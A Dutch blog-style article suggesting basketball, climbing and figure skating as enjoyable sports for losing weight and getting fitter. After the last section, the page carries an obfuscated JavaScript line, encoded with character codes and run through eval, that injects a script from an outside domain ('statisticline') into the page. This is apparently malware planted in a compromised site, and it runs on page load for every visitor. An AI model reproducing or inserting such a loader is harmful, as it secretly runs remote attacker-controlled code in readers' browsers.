Veel mensen hebben interesse in snel afvallen of makkelijk afvallen. Afvallen is niet altijd makkelijk en er komt van alles bij kijken. Hoewel er vaak veel focus is op voeding, heeft ook sporten een enorm effect of je gewicht, je conditie en je algemene gezondheid. Je kunt je er energieker, opgewekter en veel fitter door voelen. Dit zijn dus een hoop extra voordelen naast alleen afvallen. De beste sport om dit mee te doen is een sport die je echt leuk vindt. Om erachter te komen wat je nu echt leuk vindt, moet je eigenlijk gewoon van alles gaan proberen! Wij geven graag een paar leuke ideeën van sporten die je eens moet uitproberen met een proeflesje.

Basketbal

Teamsporten zijn niet alleen goed voor je lijf, het is ook heel sociaal en erg gezellig. Bij een leuk team werk je niet alleen aan je fysieke gezondheid, maar ben je ook sociaal bezig. We zijn allemaal wel bekend met sporten zoals voetbal en hockey. Basketbal is een meer verrassende teamsport. Het is erg uitdagend. Je moet rennen en je leert om soepel met een bal over het veld te bewegen en om tactisch te spelen. Je speelt met je hele lichaam én je hoofd. Het is zeker het proberen woord.

Klimmen

Boulderen of gewoon klimmen in een klimhal is ook een enorm leuke manier om in beweging te blijven. Ook hier is je hele lijf én je hoofd bij betrokken. Je moet van tevoren je route inschatten en het kost veel kracht om jezelf de muur op te tillen. Dit is een meer individuele sport, maar je kunt dit ook prima samen doen met anderen.

Kunstschaatsen

Yoga is leuk, maar wat dacht je van yoga op ijs! Oké, het is heel anders dan yoga, maar wel erg leuk. Leer hoe je over het ijs kunt zweven en leer super coole tricks waar je indruk mee kunt maken. Je bent op een enorm leuke manier bezig om fit te worden. Waar je in de sportschool alleen leert om zware dingen op te tillen, leer je hier om indrukwekkende stunts uit te voeren of een elegante manier, terwijl je over het ijs raast. Dat klinkt toch als iets wat je wil proberen?

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);